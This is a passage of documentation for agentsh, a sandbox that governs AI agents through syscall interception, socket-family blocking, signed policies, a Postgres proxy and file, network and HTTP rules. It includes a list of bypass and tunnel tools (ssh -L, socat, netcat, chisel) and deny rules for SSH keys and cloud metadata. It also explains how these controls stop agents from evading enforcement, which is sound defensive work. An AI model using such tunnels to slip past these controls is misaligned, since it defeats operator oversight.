Block io_uring to prevent bypass (default: true) ``` ##### What gets intercepted | Category | Syscalls | Enforcement | | --- | --- | --- | | File open | `openat`, `open`, `creat` | AddFD emulation (supervisor opens, injects fd) | | File open (v2) | `openat2` | CONTINUE + ID validation (never emulated) | | Metadata | `statx`, `newfstatat`, `faccessat2`, `readlinkat` | CONTINUE + ID validation | | File modify | `unlinkat`, `renameat2`, `linkat`, `mknodat` | CONTINUE + ID validation | | io_uring | `io_uring_setup`, `io_uring_enter`, `io_uring_register` | Blocked with `EPERM` | ##### Emulation gating AddFD emulation only activates when *all* of these conditions are met: - `enforce_without_fuse: true` in config - Kernel ≥ 5.14 (verified via `uname`) - Landlock is **not** configured (prevents supervisor opens from bypassing Landlock) - No active FUSE mounts (FUSE handles its own enforcement) When any condition is unmet, file syscalls fall back to `SECCOMP_RET_CONTINUE` with ID validation (audit-only). ### Socket Family Blocking agentsh can block creation of specific `AF_*` socket families on `socket(2)` and `socketpair(2)`. This mitigates the recurring CVE class where opening a niche kernel protocol family (like `AF_ALG`, `AF_VSOCK`, or `AF_RDS`) is the entry point to a kernel exploit — see the [copy.fail](https://copy.fail/#mitigation) writeup for the `AF_ALG` case that motivated this feature. ##### Configuration ```yaml sandbox: seccomp: enabled: true # Unset → recommended-default list applied (12 families at errno). # [] → opt out of all family blocking entirely. # Non-empty → overrides defaults. blocked_socket_families: - family: AF_ALG # by name (preferred) or numeric ("38") action: errno # errno | kill | log | log_and_kill (default: errno) - family: AF_VSOCK action: log_and_kill ``` ##### Default list (when field unset) When `blocked_socket_families` is omitted, agentsh applies a recommended-default list of 12 families at `action: errno`. Set the field to `[]` to opt out entirely; set it to a non-empty list to override the defaults. | Family | Number | Why default | | --- | --- | --- | | `AF_ALG` | 38 | copy.fail mitigation; near-zero legitimate userspace use | | `AF_VSOCK` | 40 | Niche (VM-host); multiple historical CVEs | | `AF_RDS` | 21 | Reliable Datagram Sockets; multiple CVEs; effectively dead | | `AF_TIPC` | 30 | Niche cluster protocol; multiple CVEs | | `AF_KCM` | 41 | Kernel Connection Multiplexor; niche; CVEs | | `AF_X25`, `AF_AX25`, `AF_NETROM`, `AF_ROSE`, `AF_DECnet`, `AF_APPLETALK`, `AF_IPX` | various | Legacy/dead protocols; pure attack surface | **Not** in defaults (too widely used; opt-in only): `AF_NETLINK`, `AF_PACKET`, `AF_BLUETOOTH`, `AF_CAN`. ##### Family resolution Each entry's `family` field accepts either a name (`AF_ALG`) or a numeric string (`"38"`). Names resolve via a built-in table; numbers in `[0, 64)` are accepted as a fallback for families the table doesn't yet know. Unknown names and out-of-range numbers are rejected at config-load time: ```text sandbox.seccomp.blocked_socket_families[0].family: "AF_ALGOG" is not a valid AF_* name or number sandbox.seccomp.blocked_socket_families[1].action: "deny" is not valid (allowed: errno, kill, log, log_and_kill) ``` ##### Action mapping | Action | Effect on `socket(AF_X, …)` | Audit event | | --- | --- | --- | | `errno` | Returns `EAFNOSUPPORT` (97) — the standard "this family isn't supported" code | none (kernel-side) | | `kill` | Process killed by `SCMP_ACT_KILL_PROCESS` | none (kernel-side) | | `log` | Returns `EAFNOSUPPORT` + emits audit event | `seccomp_socket_family_blocked`, outcome `denied` | | `log_and_kill` | Process killed by `SIGKILL` + emits audit event | `seccomp_socket_family_blocked`, outcome `killed` | `errno` is the right default for security tooling — well-behaved userspace falls back gracefully when a family isn't supported. ##### Two enforcement engines Family blocking has two engines that share the same config and emit identical audit-event shapes: 1. **seccomp-bpf (primary)** — adds an `AddRuleConditional` rule on `socket(2)` arg0 to the existing seccomp filter. Cheap, kernel-side. Used when seccomp is available *and* the agentsh-unixwrap binary will run. 2. **ptrace (fallback + defensive)** — when `sandbox.ptrace.enabled: true`, the family checker is also wired into the ptrace tracer regardless of which engine the selector reports. Runtime dispatch is mutually exclusive between engines, so this is safe and ensures coverage in hybrid configurations where the seccomp wrapper is skipped. If neither engine is available on the host, agentsh logs a startup warning and continues — families are not blocked. ##### Coexistence with other seccomp rules When a family is in `blocked_socket_families` *and* `socket` is in `blocked_syscalls`, the family rule wins (more specific). When `unix_socket.enabled: true` is also set, libseccomp's action precedence ensures family `errno`/`kill` rules outrank the unconditional `ActNotify` on `socket(2)` — `AF_UNIX` traffic still flows through unix-socket monitoring; `AF_ALG` (etc.) is denied. ##### Audit event ```text { "type": "seccomp_socket_family_blocked", "timestamp": "2026-04-29T18:00:00Z", "session_id": "sess_abc123", "source": "seccomp", "pid": 12345, "fields": { "family_name": "AF_ALG", "family_number": 38, "syscall": "socket", "action": "log_and_kill", "outcome": "killed", "engine": "seccomp" } } ``` | Field | Meaning | | --- | --- | | `family_name` | Original config name (e.g. `AF_ALG`); empty if the entry was numeric-only | | `family_number` | Resolved `AF_*` number | | `syscall` | `socket` or `socketpair` | | `action` | Value of `action` that matched (`log` or `log_and_kill`) | | `outcome` | `denied` (errno path) / `killed` (kill landed) / `vanished` (tracee gone before enforcement) / `deny_failed` / `deny_fallback_failed` | | `engine` | `seccomp` or `ptrace` — same audit shape regardless | ### Policy Signing agentsh supports **Ed25519 detached signatures** for policy files, providing cryptographic proof of authorship and integrity. This ensures agents only enforce policies from trusted authorities — a signed policy cannot be modified without invalidating the signature. ##### How it works - Each policy file `.yaml` has a companion signature file `.yaml.sig` (JSON format) - Signatures cover the raw bytes of the policy YAML — no normalization or parsing - A **trust store** (directory of public key files) holds verification keys with optional expiry - Key IDs are derived deterministically: `hex(SHA256(ed25519_public_key_bytes))` ##### CLI workflow ```bash ## 1. Generate an Ed25519 keypair agentsh policy keygen --output /etc/agentsh/keys/ --label "security-team" ## 2. Sign a policy file (produces policy.yaml.sig) agentsh policy sign policy.yaml --key /etc/agentsh/keys/private.key.json --signer "security-team" ## 3. Verify a signed policy agentsh policy verify policy.yaml --key-dir /etc/agentsh/keys/ ## → {"status":"valid","key_id":"a1b2...","signer":"security-team","signed_at":"2026-03-18T..."} ``` ##### Verification modes | Mode | Behavior | | --- | --- | | `enforce` | Reject policies with missing or invalid signatures. Server refuses to start or create sessions. | | `warn` | Log a warning on verification failure, but load the policy anyway. | | `off` | Skip signature verification entirely (default). | ##### Configuration ```yaml policies: signing: trust_store: "/etc/agentsh/keys/" # Directory of trusted public key JSON files mode: "enforce" # "enforce" | "warn" | "off" ``` Security hardening Private key files must have mode `0600` (rejected otherwise). In `enforce` mode, world-writable trust store directories and files are rejected. Expired keys (via `expires_at` field) are automatically rejected. #### Staged Hot-Reload Policy changes can be deployed via a **staged validation pipeline** that prevents invalid or tampered policies from reaching live enforcement. Drop signed policies into a `.staging/` directory; agentsh validates the signature, promotes to the live directory, and triggers a reload—all atomically. ##### How it works 1. **Stage** — drop `policy.yaml` and `policy.yaml.sig` into `/.staging/` 2. **Validate** — the hot-reload watcher detects the new file, verifies the Ed25519 signature against the trust store 3. **Promote** — signature file is moved to the live directory first, then the policy file (atomic on same filesystem) 4. **Reload** — `fsnotify` detects the promoted policy in the live directory and triggers a policy reload If signature validation fails, the staged files are rejected and an error is logged. If the policy move fails after the signature was already promoted, the orphaned `.sig` is removed from the live directory to prevent a retry loop. ##### Staging behavior by signing mode | Signing Mode | Staging Behavior | | --- | --- | | `enforce` | Signature required. Invalid or missing `.sig` is rejected. | | `warn` | Signature validated if present. Warning logged on failure, but policy is promoted. | | `off` | No signature check. Staged files are promoted directly. | Deployment pattern The `.staging/` directory is created automatically when the hot-reload watcher starts. In CI/CD, use `agentsh policy sign` then `cp` both files into `.staging/`—the watcher handles the rest. A 2-second debounce ensures the `.sig` file has time to arrive before validation begins. ### Policy Generation The **profile-then-lock** workflow lets you generate restrictive policies from observed session behavior. Run your workload once in permissive mode, then lock down future runs to only what was observed. #### The Profile-Then-Lock Workflow ##### 1. Profile Run your build/test/agent task with a permissive policy. agentsh records every operation. ##### 2. Generate Use the recorded session to generate a policy that allows only what was observed. ##### 3. Lock Apply the generated policy to future runs. Any deviation is blocked or flagged. ##### 4. Iterate If legitimate behavior is blocked, re-profile and regenerate. #### Generating a Policy ```bash ## Step 1: Run your workload (profile phase) SID=$(agentsh session create --workspace . --policy agent-observe --json | jq -r .id) agentsh exec "$SID" -- npm install agentsh exec "$SID" -- npm run build agentsh exec "$SID" -- npm test ## Step 2: Generate policy from observed behavior mkdir -p ~/.config/agentsh/policies agentsh policy generate "$SID" --output="$HOME/.config/agentsh/policies/ci-build.yaml" --name=ci-build ## Step 3: Use the locked policy for future runs SID=$(agentsh session create --workspace . --policy ci-build --json | jq -r .id) agentsh exec "$SID" -- npm install # Only allowed packages from profile ``` #### Generation Options | Flag | Description | | --- | --- | | `--output` | Write policy to file (default: stdout) | | `--name` | Policy name (default: generated-) | | `--threshold` | Minimum occurrences before including a path pattern (default: 5) | | `--include-blocked` | Include blocked operations as commented-out rules for review (default: true) | #### What Gets Generated The generated policy: - **File rules:** Allows only paths that were accessed, grouped into globs (e.g., `/workspace/src/**/*.ts`) - **Network rules:** Allows only domains/IPs that were contacted, with subdomain wildcards (e.g., `*.github.com`) - **Command rules:** Flags risky commands (`curl`, `wget`, `rm`) with the exact arg patterns observed - **Comments:** Documents why each rule exists with session timestamp #### Example Generated Policy ```yaml ## Generated from session sess-abc123 on 2025-01-15 ## Profile: npm install && npm run build && npm test version: 1 name: ci-build file_rules: - name: workspace-src paths: ["/workspace/src/**"] operations: [read, open, stat, list] decision: allow - name: workspace-dist paths: ["/workspace/dist/**"] operations: [read, write, create, mkdir] decision: allow - name: node-modules paths: ["/workspace/node_modules/**"] operations: ["*"] decision: allow network_rules: - name: npm-registry domains: ["registry.npmjs.org", "*.npmjs.org"] ports: [443] decision: allow - name: default-deny domains: ["*"] decision: deny ``` #### Use Cases - **CI/CD lockdown:** Profile a build/test run, lock future runs to that exact behavior - **Agent sandboxing:** Let an AI agent run a task once, generate policy for future runs - **Container profiling:** Profile a workload, generate minimal policy for production - **Compliance:** Document exactly what a process does and enforce it doesn't change ### Daemon Management Manage the agentsh background daemon for continuous monitoring: ```bash ## Install startup integration (systemd/launchd) agentsh daemon install ## Check daemon status agentsh daemon status --json ## Restart with fresh session agentsh daemon restart ## Remove startup integration agentsh daemon uninstall ``` ### Agent Wrapping The `wrap` command provides a single-command shortcut to run an AI agent under agentsh with exec interception. It creates a session, sets up the environment, runs the agent, and generates a report on exit: ```bash ## Wrap an AI agent with default policy agentsh wrap -- claude --dangerously-skip-permissions -p "implement the feature" ## Use a specific policy and workspace root agentsh wrap --policy ci-locked --root /workspace -- npm test ## Preserve real host paths by wrapping into a real-paths session SID=$(agentsh session create --workspace . --real-paths --json | jq -r .id) agentsh wrap --session "$SID" -- claude --dangerously-skip-permissions -p "implement the feature" ## Use the agent-default policy with comprehensive guardrails agentsh wrap --policy agent-default -- codex --full-auto "fix the failing tests" ## Reuse an existing session agentsh wrap --session $SID -- codex --full-auto "fix the failing tests" ## Skip the exit report agentsh wrap --report=false -- node script.js ``` --- # Database Proxy Source: https://www.agentsh.org/docs/database-proxy/ ## Database Proxy agentsh provides database-aware enforcement for Postgres-family traffic. Declare protected upstreams with `db_services`, route governed processes through the per-session proxy, and apply connection and statement policy before SQL reaches the database. ### Current Scope The shipped database runtime is **Postgres-family only**. PostgreSQL and Aurora Postgres use the primary supported path; Redshift and CockroachDB use the same protocol and classifier path with beta coverage. MySQL, MongoDB, Snowflake, BigQuery, Databricks, ClickHouse, MSSQL, Cassandra, Redis, and Oracle remain roadmap items. | Area | Behavior | | --- | --- | | Protocol | PostgreSQL wire protocol v3, including Simple Query, Extended Query, SQL prepared statements, COPY handling, CancelRequest mapping, and transaction state tracking. | | Dialects | `postgres`, `aurora_postgres`, beta `redshift`, beta `cockroachdb`. | | Platforms | Linux runtime only today. Use native Linux, WSL2, or a Linux VM for enforcement. | | TLS modes | `terminate_reissue`, `terminate_plaintext_upstream`, and `passthrough`. Statement rules require terminate mode. | | Decisions | Connection and statement `allow`, `deny`, `approve`, `audit`; statement-level `redirect` for safe read-only relation replacement. | Scope of the unavoidability claim The DB proxy is unavoidable for processes inside the agentsh-governed process tree, for declared `db_services`, assuming the agentsh supervisor and proxy are not compromised. Processes outside the session, undeclared databases, and compromised supervisor/proxy paths are out of model. ### Architecture For each protected database service, agentsh starts a per-session Unix-socket listener and generates policy that redirects the agent's TCP connect to that listener. The proxy authenticates the connecting process with Linux peer credentials, evaluates startup and statement policy, forwards approved traffic upstream, and emits database audit events. ```text agent process -> TCP connect to pg.internal:5432 -> connect_redirect rewrites to session DB proxy Unix socket -> DB proxy authenticates peer SessionID with SO_PEERCRED -> startup packet and connection rules -> SQL classification and statement rules -> optional safe SQL rewrite for redirect decisions -> upstream PostgreSQL ``` The proxy owns PostgreSQL `BackendKeyData` remapping for cancellation. Clients receive synthetic cancel keys; CancelRequest side-channel connections are correlated back through the proxy and evaluated with `match_kind: cancel` rules. ### Point Agents At It Do not give the agent a proxy socket path or a separate proxy host. Keep the agent's normal database configuration pointed at the declared upstream `host:port`, then run the agent inside an agentsh-governed session. When `policies.db.unavoidability` is `observe` or `enforce`, agentsh starts the per-session DB proxy and rewrites matching outbound connects to that proxy before traffic reaches the database. ```yaml db_services: appdb: family: postgres dialect: postgres upstream: pg.internal:5432 tls_mode: terminate_reissue policies: db: unavoidability: enforce ``` The agent or application can keep using a normal Postgres connection string or libpq environment variables: ```bash export DATABASE_URL='postgres://app:${DB_PASSWORD}@pg.internal:5432/app?sslmode=require' ## or: export PGHOST=pg.internal export PGPORT=5432 export PGDATABASE=app export PGUSER=app mkdir -p ~/.config/agentsh/policies cp policy.yaml ~/.config/agentsh/policies/postgres-guard.yaml agentsh wrap --policy postgres-guard -- claude code "analyze the customer data query" ``` The upstream address in `DATABASE_URL`, `PGHOST`, or the application's DB config must match the declared `db_services.*.upstream`. Processes outside the agentsh session are not redirected, and traffic to undeclared database destinations is governed only by the rest of your network policy. Unix socket internally, TCP upstream for clients agentsh does not expose a standalone TCP listener for agents to connect to. The agent-facing address remains the original Postgres TCP host and port; agentsh uses `connect_redirect` to move that connection onto a per-session Unix socket internally. The socket path is generated per session and authenticated with Linux peer credentials, so operators should not bake it into application configuration. ### Configuration Database policy lives in the normal policy YAML. A complete Postgres read-only policy with safe user-table redirection looks like this: ```yaml version: 1 name: postgres-guard db_services: appdb: family: postgres dialect: postgres upstream: pg.internal:5432 tls_mode: terminate_reissue database_connection_rules: - name: allow-app-user db_service: appdb db_user: ["app"] database: app decision: allow - name: allow-cancel db_service: appdb match_kind: cancel decision: allow database_rules: - name: deny-mutations db_service: appdb operations: [write, modify, delete, schema_create, schema_alter, schema_destroy] decision: deny deny_mode_in_tx: terminate - name: redirect-user-reads db_service: appdb operations: [read] relations: ["public.users"] match_object_resolution: catalog_resolved decision: redirect redirect: relation: public.safe_users - name: allow-resolved-reads db_service: appdb operations: [read] relations: ["public.safe_users", "public.orders"] match_object_resolution: catalog_resolved decision: allow - name: allow-safe-session db_service: appdb operations: [session, transaction] decision: allow policies: db: unavoidability: enforce log_statements: parameters_redacted approval_statement_preview: redacted approval_statement_preview_chars: 200 escalate_unknown_functions: true ``` #### Service Fields | Field | Required | Description | | --- | --- | --- | | `family` | Yes | Must be `postgres` today. | | `dialect` | Yes | `postgres`, `aurora_postgres`, `redshift`, or `cockroachdb`. | | `upstream` | Yes | Upstream `host:port`. This destination is also used to generate direct-egress deny rules. | | `tls_mode` | Yes | `terminate_reissue`, `terminate_plaintext_upstream`, or `passthrough`. | | `trusted_network` | No | Required when using plaintext upstream mode for a non-local destination. | | `allow_function_call_protocol` | No | Opt into PostgreSQL FunctionCall protocol forwarding. Default is fail-closed denial. | | `allow_gss_encryption` | No | Opt into GSS encryption passthrough. Statement visibility is degraded. | ### Connection Rules `database_connection_rules` evaluate before any SQL statement is classified. They control normal connection startup, cancellation, and replication-mode startup. | Field | Description | | --- | --- | | `match_kind` | `connect` (default), `cancel`, or `replication`. | | `db_user` | List of startup user names. Available only in terminate TLS modes. | | `database` | Startup database name. Available only in terminate TLS modes. | | `application_name` | Startup application name glob. Available only in terminate TLS modes. | | `client_identity` | agentsh internal client identity selector. Available in every TLS mode. | | `decision` | `allow`, `deny`, `approve`, or `audit`. `redirect` is invalid for connection rules. | Replication startup and GSS encryption are default-deny. If explicitly allowed, the proxy switches to passthrough and emits a `degraded_visibility_warning` because statement-level inspection is no longer available. ### Statement Rules `database_rules` run after the Postgres classifier converts a statement into one or more effects. Effects include an operation group, optional subtype, object set, and object-resolution confidence. Evaluation is order-independent: every object slot in every effect must be covered by a non-deny rule, and any matching deny wins. | Selector | Description | | --- | --- | | `operations` | Required. Operation groups or aliases such as `read`, `write`, `modify`, `delete`, `session`, `transaction`, `bulk_export`, `unknown`, `READ`, `MUTATE`, or `*`. | | `subtypes` | Optional subtype filters, for example session-setting or unsafe-I/O subtypes. | | `objects` | Syntactic object-name globs from the parsed statement. | | `schemas` | Schema globs from syntactic or catalog-resolved references. | | `relations` | Catalog-resolved canonical relation names formatted as `schema.name`. | | `functions` | Catalog-resolved function identities formatted as `schema.name(identity_args)`. Use `schema.name(*)` for all overloads. | | `match_object_resolution` | Resolution filter such as `catalog_resolved`, `qualified_syntactic`, `unqualified_syntactic`, `catalog_unresolved`, or `*`. | | `require_where` | Optional syntactic guard for `modify` and `delete` rules. When `true`, the rule only matches top-level `UPDATE` or `DELETE` effects that include a top-level `WHERE`. | | `deny_mode_in_tx` | For deny decisions inside a transaction: `terminate` or `rollback_then_continue`. | `audit` is allow-with-observation. It forwards the statement and records `decision.verb: "audit"`. For dangerous operations, agentsh warns at policy load unless the rule sets `acknowledge_audit_on_dangerous: true`. #### Require WHERE Use `require_where: true` for narrow mutation rules where accidental full-table updates or deletes are the main risk: ```yaml database_rules: - name: allow-scoped-user-mutations db_service: appdb operations: [modify, delete] relations: ["public.users"] match_object_resolution: catalog_resolved require_where: true decision: allow ``` This covers statements such as `UPDATE public.users SET disabled = true WHERE id = 123`, but it does not cover `UPDATE public.users SET disabled = true`. The guard is syntactic: a top-level `WHERE` must exist, but agentsh does not prove that the predicate is selective or tenant-safe. Rule-local guard `require_where` only changes whether that specific rule matches. If another unguarded `allow`, `audit`, or `approve` rule covers the same `modify` or `delete` effect, a no-WHERE mutation can still be permitted. Policy validation rejects `require_where` on rules whose operations expand beyond `modify` and `delete`. ### Runtime Redirect Statement-level `decision: redirect` performs safe read-only Postgres relation replacement. It is intentionally narrow: - The rule must expand only to read operations. - The rule must select exactly one canonical source relation through `relations`. - `match_object_resolution` must be `catalog_resolved`. - The target must be declared as `redirect.relation: schema.name`. - The service must use an eligible terminate-mode TLS configuration. The runtime path is implemented for Simple Query and Extended Query `Parse`. Unsupported redirect shapes fail closed; the proxy does not forward the original SQL after a redirect decision that cannot be planned safely. ### Unavoidability `policies.db.unavoidability` controls whether agentsh starts the proxy and installs generated routing and bypass-prevention rules for declared services. | Value | Behavior | | --- | --- | | `off` | Do not install DB proxy bypass controls. | | `observe` | Start proxy listeners and install generated routing and bypass-prevention rules, while treating DNS expansion failures as warnings for rollout testing. | | `enforce` | Start proxy listeners and generated controls, and fail closed when required bypass-prevention context cannot be built. Traffic must route through the DB proxy. | When enabled, agentsh synthesizes policy before the session starts: - `connect_redirects` with `redirect_to_unix` route declared upstream `host:port` destinations to per-session DB proxy sockets. - `network_rules` deny direct DB egress by hostname and resolved IP/CIDR for non-proxy processes. - `unix_socket_rules` deny direct access to common local Postgres sockets such as `/var/run/postgresql/.s.PGSQL.*` and `/tmp/.s.PGSQL.*`. - Convenience command rules catch common bypass tools such as `ssh -L`, `socat`, `kubectl port-forward`, `cloud-sql-proxy`, `gcloud sql connect`, `aws rds connect`, `chisel`, `gost`, `frpc`, `nc`/`ncat`/`netcat`, and host-network container launches. The destination egress deny is the security boundary. The command rules are useful diagnostics, but custom tunnel binaries are still caught when they try to reach the declared upstream destination. ### Audit Events Database proxying emits normal agentsh events, so session reports, event streams, and OCSF export can include database activity. | Event | When emitted | Key fields | | --- | --- | --- | | `db_statement` | Each classified SQL statement or governed cancel request. | `db_service`, `db_user`, `database`, `effects`, `statement_digest`, `decision`, `result`, `tx_context`, redirect metadata. | | `db_listener_auth_fail` | A process with the wrong SessionID connects directly to the proxy listener. | `peer_pid`, `peer_uid`, `peer_session_id`, `reason`. | | `db_handshake_fail` | Startup packet or authentication forwarding fails closed. | `db_service`, `reason`, `error_code`, optional `sni_hostname`. | | `degraded_visibility_warning` | Policy allows replication or GSS encryption passthrough. | `degraded_reason`, `db_service`, `client_identity`. | | `db_bypass_attempt` | A generated unavoidability rule denies direct DB access. | `db_service`, `bypass_mode`, `destination`, `process_identity`, `suppressed_count`. | Statement text redaction is controlled by `policies.db.log_statements`. The default is `parameters_redacted`; set `full` only where storing raw SQL and parameter values is acceptable. ### Policy Explain Use the database explain command to inspect classifier effects, object resolution, per-object coverage, warnings, and the final decision offline: ```bash agentsh policy db explain ./policy.yaml --service appdb --sql 'SELECT * FROM users' ``` Catalog fixtures can be supplied for local debugging of `relations` and `functions` selectors. Fixtures are snapshots, not live DB connections; the runtime proxy resolves catalog metadata through the protected database service. ### Limits & Roadmap - Non-Postgres adapters are not runtime targets today. - Column-level masking, row redaction, result-set DLP, and catalog-aware result metadata controls are future work. - Credential brokering for database passwords is not part of the database proxy contract. - Replication and GSS encryption remain default-deny unless explicitly allowed as degraded-visibility passthrough. - TCP listener mode is not supported for the session DB proxy; agentsh uses Unix sockets with peer-credential authentication. --- # Policy Reference Source: https://www.agentsh.org/docs/policy-reference/ ## Policy Reference Deterministic policy schema for controlling file, network, command, signal, registry, package, and Postgres-family database access at the execution layer. ### Policy Model #### Decisions | Decision | Description | | --- | --- | | `allow` | Permit the operation | | `deny` | Block the operation | | `approve` | Require human approval | | `redirect` | Swap to a different target | | `audit` | Allow + log (explicit logging) | | `soft_delete` | Quarantine with restore option | #### Scopes - File operations - Commands - Environment variables - Network (DNS/connect) - Database connections and statements - PTY/session settings - Signals (Linux only for blocking) - Registry (Windows only) #### Evaluation **First matching rule wins.** Rules live in a named policy; sessions choose a policy at creation time. ### File Rules Control file system operations by path and operation type. ```yaml file_rules: # Allow reading workspace - name: allow-workspace-read paths: - "/workspace" - "/workspace/**" operations: [read, open, stat, list, readlink] decision: allow # Require approval for deletes - name: approve-workspace-delete paths: ["/workspace/**"] operations: [delete, rmdir] decision: approve message: "Agent wants to delete: {{.Path}}" timeout: 5m # Block sensitive paths - name: deny-ssh-keys paths: ["/home/**/.ssh/**", "/root/.ssh/**"] operations: ["*"] decision: deny ``` **Operations:** `read`, `open`, `stat`, `list`, `readlink`, `write`, `create`, `mkdir`, `chmod`, `rename`, `delete`, `rmdir`, `*` (all) ### Network Rules Control network connections by domain, CIDR, or port. ```yaml network_rules: # Allow package registries - name: allow-npm domains: ["registry.npmjs.org", "*.npmjs.org"] ports: [443, 80] decision: allow # Block private networks - name: block-private cidrs: - "10.0.0.0/8" - "172.16.0.0/12" - "192.168.0.0/16" decision: deny # Block cloud metadata - name: block-metadata cidrs: ["169.254.169.254/32"] decision: deny # Approve unknown HTTPS - name: approve-unknown ports: [443] decision: approve message: "Connect to {{.RemoteAddr}}:{{.RemotePort}}?" ``` ### HTTP Services HTTP services let you give an agent fine-grained access to third-party APIs — GitHub, Stripe, Slack, Jira, and others — without ever exposing the real credential. Each entry in the `http_services:` key declares everything in one place: the upstream URL, path/method filtering rules, and credential substitution settings. ```yaml http_services: - name: github upstream: https://api.github.com default: deny rules: - name: read-issues methods: [GET] paths: ["/repos/myorg/*/issues", "/repos/myorg/*/issues/*"] decision: allow secret: ref: vault://kv/github#token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" scrub_response: true ``` The three pieces of each entry: - **Routing & filtering** (`upstream`, `rules`, `default`) — the agent calls `/svc//...` on the local gateway; agentsh matches the path and method against the declared rules and forwards approved requests upstream. - **Credential substitution** (`secret`, `inject`, `scrub_response`) — agentsh fetches the real credential from a [secrets provider](https://www.agentsh.org/docs/secrets/), generates a format-matched fake for the agent, and swaps fake → real on the wire. - **Leak guard** (automatic) — if the agent sends a fake credential to any host other than the entry's upstream, the request is blocked. An entry can use all three pieces together (the common case), or use only routing (for open APIs that don't need credentials) or only credentials (for services where the agent already knows the endpoint). An entry must declare at least one of `rules` or `secret`. **When to use http_services instead of network_rules.** Use `http_services` when you want fine-grained control over *which* API paths and methods the agent may call, combined with credential substitution. Use `network_rules` for everything else: arbitrary outbound HTTP, non-HTTP protocols, or cases where you don't need path-level filtering or credential management. **What does not fit http_services:** - **GraphQL APIs** — Linear, GitHub v4, Hasura, Shopify, and other GraphQL endpoints expose all operations through a single `/graphql` path with the operation name in the request body. Path-based rules cannot distinguish operations. Use `network_rules` with a host allow-list for these. - **Anthropic and OpenAI completion APIs** — these are already covered by the agentsh DLP proxy (a separate feature). Do not duplicate them as http_services. #### Routing & Filtering Each `http_services:` entry names a service, points it at an upstream URL, and declares path/method rules that control what the agent may access. The complete schema: ```yaml http_services: - name: github # service identifier; agent calls /svc/github/... upstream: https://api.github.com # upstream URL expose_as: GITHUB_API_URL # optional env var name; derived from name if empty aliases: # optional extra hostnames for fail-closed checks - api.github.example.com allow_direct: false # escape hatch; default false default: deny # allow | deny; default depends on context # Path/method filtering rules (optional) rules: - name: read-contents methods: [GET] # empty list or "*" means any method paths: ["/repos/myorg/myrepo/contents/**"] decision: allow - name: read-write-issues methods: [GET, POST] paths: ["/repos/myorg/myrepo/issues", "/repos/myorg/myrepo/issues/*"] decision: allow # Credential substitution (optional) secret: ref: vault://kv/github#token # secrets URI format: "ghp_{rand:36}" # fake credential format inject: header: name: Authorization template: "Bearer {{secret}}" scrub_response: true # replace real creds in responses with fakes ``` **Service-level fields:** - `name` (string, required) — identifier used in the gateway URL `/svc//...` and in audit logs. Must be a valid URL path segment. - `upstream` (string, required) — the upstream API URL. The path component of `upstream` is preserved on forwarded requests. **Bare unbracketed IPv6 addresses are rejected** by the URL canonicalizer. Use the bracketed form: `https://[2001:db8::1]:443`. - `expose_as` (string, optional) — environment variable name agentsh will set to the gateway URL inside the sandbox. If empty, derived from `name` (e.g., `github` → `GITHUB_API_URL`). - `aliases` (list of strings, optional) — extra hostnames recognized as belonging to this service for fail-closed checks. Useful for upstream APIs with regional hostnames. - `allow_direct` (bool, optional, default `false`) — escape hatch allowing the agent to bypass the gateway and call the upstream URL directly. Off by default. - `default` (string, optional) — `allow` or `deny`. The decision used when no rule matches. Defaults to `deny` when `rules` are present; defaults to `allow` for credential-only entries (no rules, has secret). - `rules` (list, optional) — an ordered list of path/method rules. First match wins. - `secret` (object, optional) — credential source and fake format. See [Credential Substitution](https://www.agentsh.org/docs/policy-reference/#http-services-credentials). - `inject` (object, optional) — how to inject the real credential on the wire. Requires `secret`. - `scrub_response` (bool, optional) — scan response bodies for the real credential and replace with the fake. Defaults based on whether `secret` is present. **Per-rule fields under `rules:`:** - `name` (string, required) — rule identifier shown in audit logs. - `methods` (list of strings, optional) — HTTP methods this rule applies to. **An empty list or `"*"` both mean "any method"**. - `paths` (list of strings, required) — **plural**. List of glob patterns matched against the request path using [gobwas/glob](https://github.com/gobwas/glob) with `/` as the separator. - `decision` (string, required) — one of `allow`, `deny`, `approve`, or `audit`. - `message` (string, optional) — a plain-text message recorded in the audit log alongside the rule decision. Useful for documenting an unusual allow rule. - `timeout` (duration, optional) — **parsed but not yet enforced** (see [Limitations](https://www.agentsh.org/docs/policy-reference/#http-services-limitations)). #### Rule matching Each rule under `rules:` matches an incoming request by *both* its path and its method. agentsh evaluates rules in declaration order; the first rule whose path glob and method list both match wins. If no rule matches, the service's `default:` applies (which itself defaults to `deny`). This subsection covers the two parts users get wrong most often: how the path glob behaves, and how to order rules so the right one wins. ##### Path matching Paths are [gobwas/glob](https://github.com/gobwas/glob) patterns with `/` as the separator. `*` matches any sequence of non-separator characters; `**` matches across separators; `?` matches a single character; `[abc]` matches a character class. Patterns match against the request path *relative to the service's `upstream`* — the gateway prefix `/svc/` has already been stripped by the time the rule engine sees the path. | Pattern | Matches | Does not match | | --- | --- | --- | | `/users` | `/users` | `/users/123` | | `/users/*` | `/users/123` | `/users/123/posts` | | `/users/**` | `/users/123/posts` and `/users/123` | `/orgs` | | `/repos/*/contents/**` | `/repos/myorg/myrepo/contents/src/file.go` | `/repos/myorg` | ##### Method matching The `methods:` field lists HTTP methods the rule applies to, e.g., `methods: [GET, POST]`. Two shorthand forms also match any method: omitting the field entirely, and the literal value `methods: ["*"]`. ##### First-match semantics When two rules could both match a request, the rule that appears first in the `rules:` list wins. Order rules from most specific to least specific. The classic mistake is to put a broad `allow` first and an exception `deny` second — the broad allow consumes the request and the deny is never reached. Always put the exception first: ```yaml http_services: - name: github upstream: https://api.github.com default: deny rules: # Deny FIRST: a narrow exception inside an otherwise-allowed range - name: block-secrets-dir methods: [GET] paths: ["/repos/myorg/myrepo/contents/secrets/**"] decision: deny message: "Block read access to secrets directory" # Then the broad allow - name: allow-repo-reads methods: [GET] paths: ["/repos/myorg/myrepo/contents/**"] decision: allow ``` If you reversed the order, the broad `allow-repo-reads` would match a request to `/repos/myorg/myrepo/contents/secrets/db.env` and the narrower deny would never fire. ##### Decision values The `decision:` field on each rule takes one of four values: - **`allow`** — forward the request to `upstream` with credentials substituted (if applicable). The default for matched rules. - **`deny`** — reject the request without forwarding. Returns an HTTP error to the agent. - **`approve`** — request interactive approval when an approvals manager is configured; otherwise fail closed with HTTP 501. - **`audit`** — forward the request and record the declared-service audit path. #### Credential Substitution Credential substitution is declared directly on each `http_services:` entry via the `secret`, `inject`, and `scrub_response` fields. At session start, agentsh fetches the real credential, generates a format-matched fake, and exposes only the fake to the agent. On the wire, fake credentials are swapped for real ones transparently. ##### secret The `secret` object tells agentsh where to find the real credential and how to generate its fake replacement: - `secret.ref` (string, 